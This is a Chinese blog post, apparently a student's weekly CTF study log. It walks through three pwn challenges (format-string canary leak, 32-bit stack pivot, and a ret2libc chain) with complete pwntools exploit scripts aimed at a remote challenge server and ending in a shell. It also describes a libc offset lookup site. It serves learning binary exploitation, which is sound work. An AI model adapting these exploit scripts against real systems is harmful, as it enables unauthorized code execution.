23-11-20

本周学习总结

正式开始了pwn题之旅,已经成功进入到了三天一题的阶段,看来题目选的没错呢。

开始尝试对ida反编译程序进行更深的理解(而然理解不能)

全局常量声明:新手上路,文章内容仅是由教程观点和自己总结获得,仅供参考。

一、对于pwn题目使用的libc文件中函数偏移的查询

最近发现许多题需要用到libc文件,但是题目中没有libc文件,此时该如何是好?

在大量的浏览网站后,发现了一个相当好用的网站:https://libc.blukat.me/

我们知道由于程序的一些规则,导致程序在使用libc中的标准函数时,函数在内存中的真实地址后三位永恒不变,且每个版本的libc某些常用函数的偏移大部分都不一样,这样就导致了我们可以通过函数在内存中的真实地址后三位来得到程序到底是使用了哪个版本的libc文件,方便我们调用libc中的system函数和/bin/sh。

函数在内存中真实地址=libc在程序中的基地址+libc文件中的偏移

比如我们暴露的如下基地址:

1
printf_real=0x7f7a31450b30    //这是printf函数在程序运行时所在的内存中的地址

我们可以看到后三位为b30

输入后获得libc版本(多个),常用函数偏移量都显示出来了,你甚至可以下载编译好的libc文件,当然如果有多个版本就看你运气了,不过相近版本的libc的偏移地址应该差别不大。对于这个网站的评价是:不如原—。

二、easy–format+canary

需要学习前置技能字符串格式漏洞和canary泄漏一之形

下载后得到可执行文件format+canary

check:

64位程序,canary开启,其他裸奔。

ida,启动!

两个字符串格式化漏洞,但是我们注意到字符数组format很长,使用老方法多%p泄漏已经过时,这次试试gdb调试寻找canary的偏移。

在第一次gets时输入AAAAAAAA后栈的状态如下:

相当之长。

我们注意到canary值(特征是尾号00)在0x19的位置(最左边显示)且stcak中还有7个地址0x7(0x0和下面rsp重复),所以偏移应该是0x19+0x7=32,但是由于是从0x0开始,所以应该最终偏移应该是32-1=1(虽然不知道怎么搞对不对)

这样我们就可以在第一次字符串格式漏洞中提供”%31$p\x07”来泄漏canary的值(“\x07”)用于标记

发现后门函数,使用ROPgadget获得pop rdi; ret;

构造脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

# p = process("./format+canary")
p = remote("120.46.59.242", 2125)

sys_addr = 0x400809

p.sendline(b"%31$p\x07")

canary = int(p.recvuntil(b"\x07", drop=True), 16)

print("canary:" + hex(canary))

payload = b'A' * 0xC8 + p64(canary) + p64(0xdeadbeef) + p64(sys_addr)

p.sendline(payload)

p.interactive()

获得flag。

三、Medium–8字节–栈迁移

需要学习前置技能简单栈迁移

下载后获得文件eight,check一下

32位程序,开启NX。

ida,启动!

发现主要逻辑,且两次输入都只溢出了0x8,明显的栈迁移题目。

这样的题目都需要leave ret;(移动esp到ebp,pop ebp,esp自动向上走一格,pop ret)

通过ROPgadget 得到 leave ret; 0x0804858c

同时因为printf(“%s”)的特性,即不遇到”\0”不停止输出,可以让我们得到栈上的地址,即ebp的值

通过gdb调试我们可以知道ebp的值和esp的距离(需要将ebp的值该成esp所在的位置,而栈与栈的相对地址不变)由此我们可以计算上一个函数的栈帧和本函数的栈帧的的偏移

发现了半个system。第二次输入时利用连续两次的leave ret; (函数本身带有leave ret;)将返回地址改成从esp+4的地方开始执行,此时我们在第二次输入时在esp+4的地方写上system地址+ 0 + /bin/sh的地址 + “/bin/sh” 就可以了

第一次输入后栈帧中的样子,我们可以看到ebp的值为0xffffdd08 esp在0xffffdcc8的位置(虽然这里esp在另外指着另外的地址,但是我们还是以实际存放的地址为准,也就是此时的esp其实是ecx)。得出将ebp移到esp的位置需要移到0xffffdd08 - 0xffffdcc8 = 0x40

构造脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *

# p = process("./eight")
p = remote("120.46.59.242", 2073)

elf = ELF("./eight")

leave_ret = 0x0804858c

sys_addr = elf.plt["system"]
# sys_addr = 0x80485FB

payload = b'A' * 0x2f + b'B'
# 使用"B"作为介绍标志

p.send(payload)

p.recvuntil(b"B")

ebp_addr = u32(p.recv(4))
# 接收上个函数栈帧ebp地址

print(hex(ebp_addr))

ebp_addr = ebp_addr - 0x40
# 将ebp移到esp的位置

bin_addr = ebp_addr + 0x10
# 字符串"/bin/sh"相对于栈迁移后esp的位置

payload = b'A' * 4 + p32(sys_addr) + b"AAAA" + p32(bin_addr) + b"/bin/sh\x00" + b'A' * 24 + p32(ebp_addr) + p32(leave_ret)
# 第一次leave ret导致ebp指向b'A'*4。
# 第二次leave ret将esp移到到esp的位置,将b'A'*4当做esp的垃圾地址弹出,执行p32(sys_addr)
# /bin/sh刚好在ebp+0x10的位置,后面填充剩下的24个字节到ret前

p.send(payload)

p.interactive()

获得flag。

四、Medium–choose–年轻人的第一道多漏洞题

需要学习前置技能canary泄漏一之形+retlibc3+字符串格式漏洞

下载附件得到文件pwn2,check!

64位程序,canary+NX

ida,启动!

发现主要逻辑函数choose()

scanf,选择你的函数!

format()

字符串格式化漏洞,用于泄漏canary

leaklibc()

v0原本是int型,在puts中变成了const char * 型,导致地址任意读,用于泄漏libc基地址

栈溢出,用于完成get shell

程序中无system和/bin/sh

基础思路:因为程序是死循环,可以多次选择要进入的函数。选择1泄漏canary的值,选择2输出atoi函数的真实地址(不要问我为什么不输出其他更常用的函数,问就是程序的无中生有调用),选择3使用经典retlibc3。

构造脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *

p = remote("120.46.59.242", 2133)

elf = ELF("./pwn2")

pop_rdi = 0x400a93
# ROPgadget获得

p.recvuntil(b"3.Buf overflow\n")
# 接收多余的信息防止干扰接收有效地址

p.sendline(str(1).encode())
# 选择format函数

p.send(b"%11$p\x07")
# '\x07'作为接收结束标志,11偏移通过gdb调试和输入多个%p都可以得到

canary = int(p.recvuntil(b"\x07", drop=True), 16)

print("canary:" + str(hex(canary)))

atoi_addr = elf.got["atoi"]

p.recvuntil(b"3.Buf overflow\n")

p.sendline(str(2).encode())
# 选择leaklibc函数

p.send(str(atoi_addr).encode())

atoi_real = u64(p.recvuntil(b"\n", drop=True).ljust(8, b'\x00'))

print("atoi_real:" + str(hex(atoi_real)))
# 成功获得atoi的真实地址

libc_real = atoi_real - 0x036e90
# 通过libc查询网站获得

print("libc_real:" + str(hex(libc_real)))

sys_addr = libc_real + 0x0453a0

bin_addr = libc_real + 0x18ce57
# 通过libc查询网站获得

p.recvuntil(b"3.Buf overflow\n")

p.sendline(str(3).encode())
# 选择overflow函数

payload = b'A' * 40 + p64(canary) + b'AAAAAAAA' + p64(pop_rdi) + p64(bin_addr) + p64(sys_addr)

p.sendline(payload)

p.interactive()

成功获得flag。

下周学习计划

| 应该要做的事情 |

刷完现在平台除堆题以外的题目开始进入buu平台刷题

学习感受

如果我能像随意操作双手一样,左手操作一个rbp,右手操作一个rsp,那该有多好。


23-11-20
https://zlsf-zl.github.io/2023/11/20/11-20-11-26/
作者
ZLSF
发布于
2023年11月20日
许可协议